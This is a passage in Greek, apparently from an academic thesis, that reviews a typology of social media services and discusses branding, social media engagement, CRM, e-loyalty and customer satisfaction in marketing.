υπηρεσία για να ικανοποιήσει τις ιδιαίτερες προτιμήσεις ενός ατόμου. Στο πλαίσιο των μέσων κοινωνικής δικτύωσης, η εξατομίκευση αναφέρεται στο επιθυμητό κοινό των μηνυμάτων που δημοσιεύονται από τους χρήστες. Υπάρχουν δύο τύποι δημοσιεύσεων: ένας τύπος είναι εξατομικευμένος και προορίζεται για ένα συγκεκριμένο άτομο ή ένα μικρό κοινό (π.χ. αφήνοντας ένα σχόλιο σε έναν φίλο ή δημοσιεύοντας ενημερώσεις σε έναν κλειστό κύκλο φίλων) και ο άλλος τύπος περιέχει μηνύματα που μεταδίδονται και που προορίζονται για όλους όσους ενδιαφέρονται (π.χ. λογαριασμοί Twitter από την Wall Street Journal, τον Πρόεδρο Obama ή άλλες προσωπικότητες). Χρησιμοποιώντας τη βασισμένη στο προφίλ έναντι βασισμένη στο περιεχόμενο και την εξατομικευμένη έναντι προς την μετάδοση μηνυμάτων ως δύο καθοριστικές λειτουργίες, δημιουργήσαμε έναν πίνακα δύο προς δύο που κατηγοριοποιεί ολόκληρο το φάσμα των διαφορετικών κοινωνικών μέσων σε τέσσερις τύπους. Η εικόνα δείχνει έναν πίνακα κοινωνικών μέσων ενημέρωσης και δείχνει κάποιες εφαρμογές ή υπηρεσίες που ταιριάζουν απόλυτα σε ένα από τα τέσσερα τεταρτημόρια. Σχέση - Relationship Οι υπηρεσίες κοινωνικών μέσων που είναι profile-based και αποτελούνται κυρίως από εξατομικευμένα μηνύματα χαρακτηρίζονται ως σχέση. Περιλαμβάνει υπηρεσίες όπως Facebook, LinkedIn και εφαρμογές για κινητά όπως Line και WhatsApp. Αυτές οι υπηρεσίες είναι profile-based και συνήθως απαιτούν αμφίδρομη επιβεβαίωση της σύνδεσης, επιτρέπουν την ενεργό προβολή φίλων και τα διάφορα επίπεδα προστασίας της ιδιωτικής ζωής, και κυρίως χρησιμοποιούνται ως μάσα κοινωνικής δικτύωσης σχέσεων με τις περισσότερες συνδέσεις να γίνονται από γνωστούς ή από φίλους γνωστών. Εδώ, οι χρήστες δημοσιεύουν μηνύματα στις σελίδες του άλλου, αφήνουν σχόλια στη φωτογραφία ενός φίλου ή ενημερώνουν την κατάστασή τους σε έναν κλειστό κύκλο φίλων. Τα μηνύματα προσαρμόζονται για ένα άτομο ή μια μικρή ομάδα φίλων και είναι λειτουργικά ισοδύναμα με τηλεφωνήματα, ηλεκτρονικά μηνύματα και οικογενειακές επιστολές Χριστουγέννων.

Self-Media

Το self-media είναι ένα άλλο είδος profile-based υπηρεσιών εντελώς διαφορετικό. Στον τύπο αυτό, οι χρήστες συνδέονται σε profile-based λογαριασμούς, οι οποίοι δημιουργούνται από γνωστούς οργανισμούς, διασημότητες ή προϊόντα. Αντί να βασίζονται σε παραδοσιακά κανάλια πολυμέσων που ανήκουν και λειτουργούν από εταιρείες μέσων ενημέρωσης, αυτό το είδος κοινωνικών μέσων προσφέρει στους φορείς τη δυνατότητα να διαχειρίζονται τα δικά τους κανάλια κοινωνικής δικτύωσης μέσα από τα social media. Τα τυπικά παραδείγματα των self-media περιλαμβάνουν το Twitter και το Weibo, την κινεζική έκδοση του Twitter. Η σύνδεση εδώ απαιτεί μόνο μονόδρομη εκκίνηση και υπάρχει πολύ περιορισμένη προβολή λογαριασμών. Για παράδειγμα, οι άνθρωποι μπορούν να ακολουθήσουν τον Πρώην Πρόεδρο Obama και να λαμβάνουν ενημερώσεις κάθε φορά που δημοσιεύει στο Twitter ή μπορούν να ακολουθήσουν το Reuters και να αποκτούν τα τελευταία νέα πριν εμφανιστούν σε ιστότοπους ή την τηλεόραση. Ομοίως, οι brand managers μπορούν να δημιουργήσουν ιστοσελίδες οπαδών για τα προϊόντα τους, να μεταδώσουν οποιαδήποτε νέα ή συναρπαστική εξέλιξη των προϊόντων και να προωθήσουν τις προσφορές μέσω των Self-media στις ιστοσελίδες των Twitter ή Facebook. Αντί να αγοράζουν χρόνο τηλεοπτικών διαφημίσεων ή / και σελίδες σε έντυπη μορφή, τα selfmedia επιτρέπουν στις κρατικές υπηρεσίες να κάνουν ελεύθερες και συχνές ανακοινώσεις, με ελάχιστο κόστος. Για παράδειγμα, ο λογαριασμός του Λευκού Οίκου στο Twitter έχει πάνω από 4 εκατομμύρια οπαδούς, οι οποίοι ξεπερνούν τους παραδοσιακούς συνδρομητές της έντυπης μορφής της Wall Street Journal που ανέρχονται στα 2.1 εκατομμύρια αναγνωστών. Δημιουργική Έκφραση/Διέξοδος Οι content-based social media υπηρεσίες που προσφέρουν broadcast μηνύματα σε ολόκληρο το κοινό χαρακτηρίζονται ως «δημιουργικές εκφράσεις/διέξοδοι». Αυτές περιλαμβάνουν υπηρεσίες που διευκολύνουν την ανταλλαγή κοινού ενδιαφέροντος, τη δημιουργικότητα και τα χόμπι των ατόμων. Τέτοια παραδείγματα αποτελούν οι ιστότοποι κοινής χρήσης βίντεο YouTube, οι υπηρεσίες κοινής χρήσης εικόνων Instagram, Flickr και Pinterest καθώς και η εφαρμογή ανταλλαγής συνταγών Foodily. Οι χρήστες χρησιμοποιούν την δημιουργικότητα τους για να δημοσιεύουν τις φωτογραφίες τους, τα αυτo-δημιουργημένα αστεία βίντεο ή τις συνταγές τους σε απευθείας σύνδεση για να τα μοιραστούν με άλλους με παρόμοια ενδιαφέροντα. Οι χρήστες μπορούν να επισκέπτονται τον ισότοπο και να ακολουθούν όσους έχουν τα πιο ενδιαφέροντα περιεχόμενα και να ανταλλάσσουν συμβουλές και σκέψεις μεταξύ τους. Αυτός

ο τύπος κοινωνικών μέσων συνδέει τους ανθρώπους με βάση τη δημιουργική τους έκφραση και παρέχει μια σημαντική διέξοδο για τη δημιουργικότητά τους, παρέχοντας ταυτόχρονα ψυχαγωγία και καλαίσθητο περιεχόμενο στους ακόλουθους/followers.

Συνεργασία Ο τελευταίος τύπος κοινωνικών μέσων αποτελείται από content-based ιστότοπους, αλλά προσαρμόζονται στις απαιτήσεις των χρηστών. Αυτοί οι ιστότοποι περιλαμβάνουν την κοινωνική μονάδα Quora, η οποία επιτρέπει στους χρήστες να συζητούν και να απαντούν σε ερωτήσεις μέσω της συνεργασίας και το Reddit, όπου οι χρήστες διαβάζουν και αξιολογούν τα νέα και συζητούν τα πιο επίκαιρα θέματα. Σε αυτούς τους ιστότοπους, τα μηνύματα προσαρμόζονται για μια συγκεκριμένη ερώτηση ή θέμα συνήθως αυτό που ο προηγούμενος χρήστης έχει σχολιάσει ή έχει ζητήσει. Ωστόσο, οι άνθρωποι εδώ συνδέονται κυρίως λόγω του περιεχομένου ή του ενδιαφέροντος τους, παρά επειδή γνωρίζουν ο ένας τον άλλον. Τα κανάλια συνεργασίας επιτρέπουν στους χρήστες να βρίσκουν λύσεις σε ερωτήσεις, να λαμβάνουν συμβουλές για τις δύσκολες καταστάσεις της ζωής, να προσπαθούν να καταλήξουν σε συμφωνία μεταξύ ορισμένων θεμάτων και να βρίσκουν τα πιο ενδιαφέροντα νέα και περιεχόμενα της ημέρας. Περίληψη τυπολογίας κοινωνικών μέσων Συνοψίζοντας, διάφοροι τύποι υπηρεσιών social media εξυπηρετούν διαφορετικό κοινό και ανταποκρίνονται σε διαφορετικές ανάγκες. Σε κάθε τεταρτημόριο του πίνακα κοινωνικών μέσων, οι χρήστες μπορούν να χωριστούν σε δύο ομάδες: αυτοί που δημοσιεύουν και αυτοί που ακολουθούν. Αυτοί που δημοσιεύουν είναι εκείνοι που ενημερώνουν τα καθεστώτα, μοιράζονται περιεχόμενο και συμμετέχουν ενεργά στη δημιουργία περιεχομένου των κοινωνικών μέσων. Από την άλλη πλευρά, οι ακόλουθοι είναι εκείνοι που παρακολουθούν τις ενημερώσεις, βλέπουν το περιεχόμενο και συνήθως διατηρούν παθητικό ρόλο στη συμμετοχή των κοινωνικών μέσων. Οι ακόλουθοι μπορούν κάποιες φορές να κάνουν μερικές παρατηρήσεις ή να κάνουν “Like”, αλλά συνολικά, αποτελούν τη σιωπηρή πλειοψηφία των social media. Ο αριθμός των ακόλουθων είναι ένας από τους ευρύτερα χρησιμοποιούμενους δείκτες απόδοσης της αποτελεσματικότητας των κοινωνικών μέσων.

Ανθρώπινες ανάγκες και Social Media Οι Sheldon, Elliot, Kim και Kasser συνοψίζουν 10 υποψήφιες ανάγκες που ικανοποιούν την ανθρώπινη φύση: αυτονομία, ικανότητα, συγγένεια/σχετικότητα, φυσική ευημερία, ασφάλεια, αυτοεκτίμηση, αυτοεκκαθάριση , χρήμα-πολυτέλεια και επιρροή δημοτικότητας. Οι ορισμοί αυτών των αναγκών παρέχονται στις παρακάτω εικόνες. Ο κοινός παρονομαστής μεταξύ αυτών των υπηρεσιών είναι η λέξη «κοινωνικός» και οι τέσσερις υπηρεσίες βασίζονται σε διαφορετικό βαθμό στα κοινωνικά μέσα για να ευημερήσουν και να αντιμετωπίσουν τη συγγένεια. Τέσσερις κοινές δραστηριότητες σε αυτά τα κοινωνικά μέσα συνεισφέρουν σε μια γενική αίσθηση συγγένειας. 1. Επικοινωνία σχετικά με προσωπικά θέματα. 2. Συμμετοχή σε κοινές δραστηριότητες. 3. Αίσθημα κατανόησης και εκτίμησης. 4. Συμμετοχή σε ευχάριστες δραστηριότητες. Αυτές οι τέσσερις κοινές δραστηριότητες είναι διαθέσιμες και στα τέσσερα τεταρτημόρια της τυπολογίας των μέσων κοινωνικής δικτύωσης. Ωστόσο, υπάρχουν αξιοσημείωτες διαφορές μεταξύ των βασικών δραστηριοτήτων που εκτελούν οι χρήστες σε αυτούς τους ιστότοπους. Διαπιστώνουμε ότι κάθε είδος υπηρεσίας των μέσων κοινωνικής δικτύωσης είναι σε θέση να αντιμετωπίσει ένα μοναδικό σύνολο ανθρώπινων αναγκών. Με βάση μια εκτενή ανασκόπηση της βιβλιογραφίας, συνοψίσαμε τις βασικές ανθρώπινες ανάγκες που ικανοποιεί κάθε είδος υπηρεσίας κοινωνικών μέσων, όπως φαίνεται στην εικόνα. Πρέπει να σημειωθεί ότι στην εικόνα, η ανάγκη για ασφάλεια δεν αναφέρεται ως μία από τις ανάγκες που οι υπηρεσίες κοινωνικών μέσων ικανοποιούν. Αυτό συμβαίνει επειδή η ασφάλεια δεν δίνει θετική ικανοποίηση, αν και η δυσαρέσκειά της οφείλεται στην απουσία της. Παρόλα αυτά, η ασφάλεια των προσωπικών δεδομένων και των ανησυχιών για την προστασία της ιδιωτικής ζωής αποτελούν σημαντικούς παράγοντες που επηρεάζουν τις προθέσεις των χρηστών να συνεχίσουν τη δέσμευση τους με τα κοινωνικά μέσα. Επιπτώσεις για το marketing των μέσων κοινωνικής δικτύωσης Η κατανόηση των διαφορετικών αναγκών που διαφορετικοί ιστότοποι κοινωνικών μέσων ικανοποιούν έχει σημαντικές επιπτώσεις για τους managers που ελπίζουν να συμμετάσχουν στο social media marketing. Μία από τις προκλήσεις των διαδικτυακών διαφημίσεων είναι ότι οι καταναλωτές αναπτύσσουν αρνητική στάση απέναντι στις διαφημίσεις και τις

αποφεύγουν όποτε είναι δυνατόν. Το social media marketing δεν αποτελεί εξαίρεση. Η Forrester Research αποκάλυψε ότι μόνο το 15% των καταναλωτών εμπιστεύεται to social media marketing στις Η.Π.Α., οδηγώντας σε άσχημα αποτελέσματα της καμπάνιας του.

Social Media Πελάτης Το branding είναι η διαδικασία της δημιουργίας ενός προϊόντος με μια μοναδική εικόνα, η οποία διαφοροποιείται από τα προϊόντα του ανταγωνιστή. Οι πιο επιτυχημένες μάρκες δημιουργούν μακροχρόνιες σχέσεις με τους πελάτες. Πολλές θεωρίες προσπαθούν να εξηγήσουν την αξία που μπορεί να δώσει ένα εμπορικό σήμα στην επιχείρηση. Η αξία του εμπορικού σήματος είναι μια σημαντική έννοια, διότι επιτρέπει στις επιχειρήσεις να μετρήσουν την επίδραση που έχει η γνώση των εμπορικών σημάτων στην λήψη αποφάσεων από τους καταναλωτές. Υπάρχουν δύο βασικές προσεγγίσεις για την ύπαρξη της αξίας του εμπορικού σήματος, η οικονομική προοπτική και η προοπτική που βασίζεται στον καταναλωτή. Η οικονομική προοπτική επιχειρεί να υπολογίσει την οικονομική αξία ενός εμπορικού σήματος ξεχωριστάαπό άλλα περιουσιακά στοιχεία της επιχείρησης. Αυτό είναι χρήσιμο για τις επιχειρήσεις, καθώς τους επιτρέπει να εντοπίζουν τη συμβολή του εμπορικού σήματος στην αξία της επιχείρησης. Μια εναλλακτική προοπτική είναι η εκείνη που βασίζεται στον καταναλωτή. Αυτή η προοπτική μετρά την αντίδραση των πελατών σε ένα εμπορικό σήμα. Προσεγγίσεις που συνδυάζουν και τις δύο προοπτικές παρουσιάζονται ως σχεσιακό branding. Επομένως, ο πελάτης διαδραματίζει καθοριστικό ρόλο στην ανάπτυξη της αξίας που δίνει το εμπορικό σήμα στην επιχείρηση. Η εικόνα της επωνυμίας (brand image) είναι ευρέως αποδεκτή ως ένα σύνολο αντιλήψεων των πελατών σχετικά με το εμπορικό σήμα. Οι αντιλήψεις αυτές προέρχονται από πληροφορίες που αποκτήθηκαν από την προσφορά αγοράς ή από τις άμεσες αγοραστικές εμπειρίες των πελατών με το εμπορικό σήμα . Το σύνολο των συναισθημάτων, των στάσεων και των αντιλήψεων των πελατών είναι πολύ σημαντικό για την αγοραστική συμπεριφορά τους. Ο Normann υποστηρίζει ότι μαζί με τις επιπτώσεις της διαφήμισης, από στόμα σε στόμα, και των εμπειριών των πελατών με τα προϊόντα και τις υπηρεσίες, το brand image μπορεί να επηρεάσει την γνώμη των πελατών στις αγορές.

Μια ευνοϊκή εικόνα του εμπορικού σήματος μπορεί να βοηθήσει την εταιρεία να αυξήσει τον ανταγωνισμό και να ενθαρρύνει τους πελάτες να επαναλάβουν την αγορά. Αναφέρεται επίσης από τον Martineau ότι, οι πελάτες θα αποκτήσουν έναν αξιόπιστο βαθμό πίστης και αφοσίωσης όταν αποκτήσουν μια θετική εικόνα για το εμπορικό σήμα. Social Media Engagement Στις μέρες μας, οι εταιρείες έχουν καταβάλλει σημαντικές προσπάθειες για τη διαχείριση των μέσων κοινωνικής δικτύωσης προκειμένου να παρέχουν διαδραστικές επικοινωνίες μεταξύ των χρηστών, να οικοδομούν ισχυρότερες σχέσεις μαζί τους και τελικά να οδηγούν στην εμπιστοσύνη των εμπορικών σημάτων. Ένα βασικό κομμάτι σε αυτή τη διαχείριση αποτελεί η συμμετοχή των μέσων κοινωνικής δικτύωσης (Social Media Engagement - SocME), που ορίζεται ως εκδήλωση συμπεριφοράς καταναλωτή εστιασμένη στα social media και πέρα από τα όρια πληρωμής των διαφόρων αγορών. Η συμμετοχή των καταναλωτών στο κοινωνικό περιβάλλον/πλαίσιο των μέσων δικτύωσης αντικατοπτρίζει διάφορες ενέργειες (π.χ. ανταλλαγή, συμβολή, κοινωνικοποίηση, συνηγορία και συνδημιουργία) που παρακινούν τους καταναλωτές για χρήση των κοινωνικών μέσων που σχετίζονται με την επωνυμία. Αυτές οι ενέργειες αντιπροσωπεύουν συμπεριφορικές συνιστώσες του SocME και θεωρούνται βαθμιαία συμμετοχή με περιεχόμενο σχετικό με το εμπορικό σήμα στα κοινωνικά μέσα, επεκτεινόμενη από την αρχική ενέργεια κατανάλωσης (π.χ. ανάγνωση, προβολή και παρακολούθηση) στις μετέπειτα ενέργειες συμβολής (π.χ. αξιολόγηση, σχολιασμός και αλληλεπίδραση) και δημιουργίας περιεχομένου από τον ίδιο τον καταναλωτή (π.χ δημοσίευση, γραφή και μεταφόρτωση). Ως εκ τούτου, το SocME αποτελεί βασικό παράγοντα για τη μετατροπή των καταναλωτών σε δημιουργούς περιεχομένου. Οι εταιρείες ξοδεύουν πολύ χρόνο ώστε να συγκεντρώσουν στοιχεία σχετικά με την γνώμη των καταναλωτών γύρω από το όνομα τους στα κοινωνικά μέσα και εν τέλει επιδιώκουν να αυξήσουν τις πωλήσεις τους μέσω του social media marketing. Παρά τις προόδους που έχουν σημειωθεί όσον αφορά το SocME, μια ανασκόπηση της σχετικής βιβλιογραφίας αποκαλύπτει ότι δεν υπάρχει κοινώς αναγνωρισμένη αντίληψη του ακριβή ορισμού του SocME. Μεταξύ των μελετητών, υπάρχουν αποκλίνουσες εννοιολογίες, καθώς το SocME θεωρείται ως μια γνωστική εκτίμηση, μια συναισθηματική προσκόλληση, μια συμπεριφορική ανταπόκριση ή ένας συνδυασμός αυτών. Λόγω αυτής της ποικιλομορφίας, η ιδέα της SocME είναι ένας τομέας που έχει ανάγκη από σαφήνεια.

Social Media και CRM Τα τελευταία χρόνια η εμβέλεια και η διείσδυση των social media αυξάνεται συνεχώς και οι επιχειρήσεις τα ενσωματώνουν ολοένα και περισσότερο στις εκστρατείες μάρκετινγκ. Η τεράστια ανάπτυξη και διαθεσιμότητα του Διαδικτύου άνοιξε το δρόμο για να καταστούν τα μέσα κοοινωνικής δικτύωσης ένα σημαντικό εργαλείο μάρκετινγκ για τις επιχειρήσεις, καθώς τους επιτρέπει να έχουν πρόσβαση σε ένα ευρύ φάσμα πελατών. Σύμφωνα με μια μελέτη της IBM, το 23% των ανθρώπων έδωσε ως απάντηση αλληλεπίδραση με τα εμπορικά σήματα ως λόγο για τη χρήση των μέσων κοινωνικής δικτύωσης. Τα κοινωνικά μέσα έχουν καταστεί ζωτικής σημασίας για τα εμπορικά σήματα, μιας και οι αποφάσεις των καταναλωτών για αγορές προέρχονται κατά κύριο λόγο από συστάσεις φίλων και από την οικογένεια, ως την πιο αξιόπιστη πηγή τους. Τα κοινωνικά μέσα έχουν καταστεί πολύτιμα για τα εμπορικά σήματα στην παρακολούθηση και τη συμμετοχή σε αυτόν τον διάλογο, ώστε να επηρεάσουν τις επιλογές των καταναλωτών για τα προϊόντα τους. Τα εμπορικά σήματα μπορούν να επωφεληθούν από την έλλειψη ιδιωτικής ζωής των καταναλωτών στο διαδίκτυο, η οποία έχει καταστεί βασικό στοιχείο πολλών επιχειρηματικών μοντέλων. Οι Chaffey και Ellis-Chadwick δηλώνουν τη σημασία μιας ισχυρής στρατηγικής που αφορά την αφοσίωση των πελατών στην εταιρεία καθώς και της καλής εξυπηρέτησης αυτών μέσω των μέσων κοινωνικής δικτύωσης, ώστε να επωφεληθούν τόσο τα εμπορικά σήματα όσο και οι πελάτες με την συμμετοχή και την αλληλεπίδραση τους σε αυτό. Η δέσμευση με τους πελάτες σε τόσο μεγάλη κλίμακα μπορεί να οδηγήσει σε οφέλη που συνδέονται με το ιογενές (viral) μάρκετινγκ. Το ιογενές μάρκετινγκ μπορεί να επιτευχθεί μέσω των επιχειρήσεων που εργάζονται σκληρά για την παροχή καλής εξυπηρέτησης μέσω διαδικτύου, ώστε οι καταναλωτές να ενημερώνουν τους φίλους τους μέσω ενός εξαιρετικά αποτελεσματικού μάρκετινγκ από στόμα σε στόμα. Μεγαλύτερες εταιρείες αναγνώρισαν τη σημασία αυτής της σύνδεσης και προσφέρουν ανταμοιβές με τη μορφή μετρητών, εκπτώσεων και προσφορών σε πελάτες που συμμετέχουν στην κοινή χρήση viral προϊόντων. Όμως, ποιος είναι ο τρόπος μέσα από τον οποίο επιτυγχάνεται αυτή η σύνδεση των πελατών με την εταιρεία; Το Customer Relationship Marketing είναι μία ευρέως εφαρμοσμένη στρατηγική η οποία υπήρχε από τότε που άρχισαν οι πρώτες αγοραπωλησίες. Σχετίζεται με την αλληλεπίδραση που υπάρχει μεταξύ της επιχείρησης και του πελάτη. Κατά περίπτωση κάνει διάφορες

ενέργειες σε κάθε έναν ξεχωριστά για να δημιουργήσει ισχυρούς δεσμούς πιστότητας. Οι παραπάνω ενέργειες κάνουν τους πελάτες να αισθάνονται μοναδικοί και συντελούν μια ενιαία στρατηγική marketing πελατειακών σχέσεων. Σύμφωνα με την Leslie Talmadge, το CRM αποτελεί αποτελεσματικό εργαλείο εφαρμογής των στρατηγικών που έχουν σχεδιαστεί στο ψηφιακό μάρκετινγκ. Μέσω αυτού, δίνεται η δυνατότητα μέτρησης και διαχείρισης της επιρροής της εταιρείας στους πελάτες της. Πλέον η διαχείριση πελατειακών σχέσεων υποστηρίζεται από σύγχρονα ψηφιακά συστήματα τα οποία καθιστούν την προσωπική επαφή όλο και λιγότερο απαραίτητη. Η βασική αρχή είναι να ενδυναμώνεται με κάθε τρόπο η σχέση μεταξύ των επιχειρήσεων και των πελατών. Εάν μια εταιρεία λειτουργεί με τρόπο απρόσωπο προς τους πελάτες της δεν θα είναι αρκετά ελκυστική οπότε θα πρέπει να κάνει περισσότερες ενέργειες για την προσέλκυση και διατήρηση πελατών. Το CRM σήμερα αποτελεί ένα εργαλείο το οποίο επιτρέπει στις επιχειρήσεις να συνεργαστούν με τους καταναλωτές για τον προσδιορισμό των στρατηγικών καθώς και της ανάπτυξης επιχειρηματικών διαδικασιών. Το CRM δεν έχει σκοπό το άμεσο κέρδος. Αντίθετα, επικεντρώνεται στο να προσδίδει συνεχή αξία στον πελάτη και στις αγορές που θα κάνει στο μέλλον κερδίζοντας έτσι την αύξηση της πιστότητας (loyalty) στην εταιρεία. Η εμφάνιση των κοινωνικών μέσων προσφέρει στους καταναλωτές ευκαιρίες να ακούν και να συνεργάζονται με τους πελάτες τους και ενδεχομένως να τους ενθαρρύνουν να γίνουν μακροχρόνιοι υποστηρικτές των προϊόντων τους. Το κοινωνικό CRM δείχνει πώς αλληλεπιδρούν τα κοινωνικά μέσα με το παραδοσιακό CRM για να δημιουργηθεί αυτή η νέα αντίληψη. Τα κοινωνικά μέσα μπορούν να βοηθήσουν τον εξωραϊσμό ενός brand συνδέοντας τους πελάτες και δίνοντάς τους μια μεγαλύτερη προσωπικότητα. Αυτό είναι σημαντικό καθώς τα κοινωνικά μέσα είναι αποτελεσματικά λόγω της αμφίδρομης επικοινωνίας τους. Οι πελάτες χρησιμοποιούν τα μέσα κοινωνικής δικτύωσης για να συζητήσουν τις προτιμήσεις τους σε πραγματικό χρόνο. Έτσι οι επιχειρήσεις μπορούν να δουν τις τάσεις της αγοράς καθώς και τις μετατοπίσεις όπως αυτές εξελίσσονται. Λόγω του μη-συναλλακτικού τους χαρακτήρα, τα κοινωνικά δίκτυα είναι ιδιαιτέρως κατάλληλα για τη συλλογή πληροφοριών και την απόκτηση ανατροφοδότησης (feedbacks) από τους πελάτες, οπότε θα μπορούσε να είναι χρήσιμα για την ανεύρεση των τάσεων των χρηστών. Η κυριότερη τάση στις μέρες μας είναι να εισέλθουν οι πελάτες σε μια ανοικτή

σχέση με την εταιρεία και να μοιραστούν εμπειρίες μέσω των μέσων κοινωνικής δικτύωσης μετά την αγορά. Loyalty - Εντός και Εκτός Διαδικτύου Τα brands προσπαθούν να κερδίσουν την εμπιστοσύνη των πελατών, επειδή οι επαναλαμβανόμενες αγορές είναι κρίσιμες για την επιτυχία και την κερδοφορία της εταιρείας. Ο αυξανόμενος ανταγωνισμός μεταξύ των εταιρειών, επίσης αποτέλεσμα της ανάπτυξης του Web 2.0, αυξάνει τη σημασία ενός σχεσιακού μοντέλου μεταξύ εμπορικού σήματος και πελάτη. Η ανάπτυξη μακροπρόθεσμων σχέσεων διαδραματίζει ουσιαστικό ρόλο στην ενίσχυση της εμπιστοσύνης των πελατών και της κερδοφορίας των επιχειρήσεων. Η δημιουργία και διατήρηση αυτών των σχέσεων προϋποθέτει ότι είναι ανθρώπινες και εξατομικευμένες. Οι ικανοποιημένοι πελάτες τείνουν να αγοράζουν περισσότερα και να σχολιάζουν θετικά το εμπορικό σήμα. Η ικανοποίηση του πελάτη είναι μια συναισθηματική απόκριση που σχετίζεται με τη σύγκριση των επιδόσεων των προϊόντων / υπηρεσιών με την προσδοκία των πελατών. Ορισμένες μελέτες δείχνουν ότι η ικανοποίηση των πελατών έχει άμεσο και θετικό αντίκτυπο στην πρόθεση για επαναγορά. Ένας άλλος σημαντικός παράγοντας για την αφοσίωση είναι η εμπιστοσύνη, η οποία σχετίζεται με την ασφάλεια. Η εμπιστοσύνη αντιπροσωπεύει ένα σύνολο πεποιθήσεων σχετικά με την ακεραιότητα, την καλοσύνη, την ικανότητα και την προβλεψιμότητα ενός παρόχου υπηρεσιών. Η αξία που λαμβάνει ο πελάτης από την υπηρεσία συνδέεται επίσης με την πίστη/αφοσίωση. Αυτό καθορίζεται από τα οφέλη που εισπράττει ο αγοραστής από την αγορά που πραγματοποίησε. Από τη στιγμή που οι σχέσεις μεταξύ πελατών και εμπορικών σημάτων αρχίζουν να αναπτύσσονται στο πλαίσιο του Web 2.0, αρχίζει να εμφανίζεται η ηλεκτρονική αφοσίωση (e-loyalty). Καθώς αυτό συμβαίνει, ο έλεγχος του προϊόντος / υπηρεσίας μετατοπίζεται σταδιακά από την εταιρεία στον καταναλωτή. E-loyalty Η εμπιστοσύνη ορίζεται ως η επαναλαμβανόμενη συμπεριφορά της αγοράς που εκδηλώνεται σε μια παρατεταμένη περίοδο και οδηγείται από μια ευνοϊκή στάση απέναντι στο θέμα, συμπεριλαμβάνοντας και τις παραμέτρους συμπεριφοράς. Ο Oliver ορίζει την εμπιστοσύνη των πελατών ως μια «βαθιά δέσμευση για επανακατανομή ή επανατοποθέτηση ενός προτιμώμενου προϊόντος ή υπηρεσίας τακτικά στο μέλλον, παρά τις επιθετικές επιδράσεις

και τις προσπάθειες μάρκετινγκ που έχουν τη δυνατότητα να προκαλέσουν αλλαγή συμπεριφοράς». Η έννοια του e-loyalty επεκτείνει την παραδοσιακή έννοια της πίστης στην online συμπεριφορά των καταναλωτών. Οι Anderson και Srinivasan διερευνούν την έννοια της αφοσίωσης των πελατών στο ηλεκτρονικό εμπόριο και ορίζουν την πίστη των πελατών ως ευνοϊκή στάση του πελάτη απέναντι στον ηλεκτρονικό λιανοπωλητή που οδηγεί σε επανάληψη της αγοραστικής συμπεριφοράς. Αν και τα υποκείμενα θεωρητικά θεμέλια της παραδοσιακής πίστης και τα πρόσφατα καθορισμένα φαινόμενα της ηλεκτρονικής αφοσίωσης είναι γενικά παρεμφερή, έχουν μοναδικές πτυχές που σχετίζονται με το μάρκετινγκ μέσω του Διαδικτύου και τη συμπεριφορά των αγοραστών. Γενικά η ηλεκτρονική αφοσίωση (e-loyalty) ορίζεται ως η ευνοϊκή στάση του πελάτη προς το ηλεκτρονικό κατάστημα που τον προδιαθέτει να επαναλάβει την αγοραστική του συμπεριφορά. Η μεγαλύτερη ικανοποίηση του πελάτη συνδέεται με υψηλότερο e-loyalty. Η εκπληκτική αύξηση του αριθμού των χρηστών του Διαδικτύου και οι τεράστιες δυνατότητες του ηλεκτρονικού εμπορίου (e-commerce) έχουν ωθήσει τους εμπόρους να πραγματοποιούν ηλεκτρονικές συναλλαγές. Τα social media αποτελούν το πλέον κατάλληλο μέσο για την προβολή των προϊόντων και την προσελκύσει πελατών. Πολυάριθμες μελέτες δείχνουν ότι μια κατάλληλη διεπαφή (interface) πελάτη είναι ένα από τα κρίσιμα ζητήματα στην επιτυχία του ηλεκτρονικού εμπορίου. Η διεπαφή πελάτη όχι μόνο παρέχει μια άμεση και χαμηλού κόστους επικοινωνία μέσω των social media και των πελατών, αλλά αξιολογεί επίσης κατά πόσον οι υπηρεσίες που βασίζονται στο Web επιτυγχάνουν τους επιδιωκόμενους στόχους, και συγκεκριμένα την εξατομίκευση των υπηρεσιών τους και τη δημιουργία ανταγωνιστικού πλεονεκτήματος βασισμένο στην κατανόηση της συμπεριφοράς των πελατών σε αυτού του είδους τις αγορές. Επιπλέον, η ικανοποίηση του πελάτη έχει παραδοσιακά αναγνωριστεί ως η κύρια συνεισφορά για την αφοσίωση των πελατών σε ένα εμπορικό σήμα και επίσης, η ηλεκτρονική ικανοποίηση, το λεγόμενο e-satisfaction, πιστεύεται ότι οδηγεί στην ηλεκτρονική αφοσίωση (e-loyalty) των πελατών στο brand Ωστόσο, η ικανοποίηση του πελάτη είναι ένας απαραίτητος, αλλά ανεπαρκής πρόδρομος της εμπιστοσύνης των πελατών. Οι ικανοποιημένοι πελάτες ενδέχεται να μην είναι πιστοί πελάτες λόγω χαμηλού κόστους μεταγωγής, ενώ οι δυσαρεστημένοι πελάτες ενδέχεται να παραμείνουν πιστοί λόγω του υψηλού κόστους μεταγωγής.

Για παράδειγμα, η μετάβαση σε έναν νέο πάροχο υπηρεσιών απαιτεί μια επένδυση από προσπάθεια, χρόνο και χρήμα, γεγονός που αποτελεί σημαντικό εμπόδιο για τους καταναλωτές που αναλαμβάνουν δράση όταν δεν είναι ικανοποιημένοι με τον σημερινό πάροχο υπηρεσιών τους. Επιπλέον, ορισμένοι μελετητές υποστήριξαν ότι η εμπειρία του Διαδικτύου είναι σημαντική για την κατανόηση των αντιλήψεων και της συμπεριφοράς των πελατών σε σχέση με την κατανόηση των αναγκών τους σε απευθείας σύνδεση περιβάλλοντα. Οι Nysveen και Pedersen δηλώνουν ότι η εμπειρία στο Διαδίκτυο πρέπει να συμπεριληφθεί ως μεταβλητή μέτρησης στις μελέτες που επικεντρώνονται στην αποτελεσματικότητα των δικτυακών τόπων και κυρίως στην διεπαφή με τα social media. Customer Satisfaction & Social Media Η ικανοποίηση του καταναλωτή αποτελεί μια από της σημαντικότερες έννοιες της επιστήμης του μάρκετινγκ. Αποτελεί βασική προϋπόθεση προκειμένου μια επιχείρηση να αυξήσει τόσο την διατήρηση των πελατών (customer retention) όσο και την πιστότητά τους (customer loyalty). Αναφερόμενος στα οφέλη που προκύπτουν από την ικανοποίηση πελατών, ο Anderson υποστηρίζει ότι η ικανοποίηση του πελάτη καθιστά πιο ανελαστική τη ζήτηση. Ο Gomez διατείνει ότι η ικανοποίηση των καταναλωτών μιας επιχείρησης οδηγεί σε αύξηση των εσόδων της ενώ ο Anderson διαπιστώνει ότι με τον τρόπο αυτό επιτυγχάνεται μείωση δαπανών για προσέλκυση νέων πελατών και αύξηση 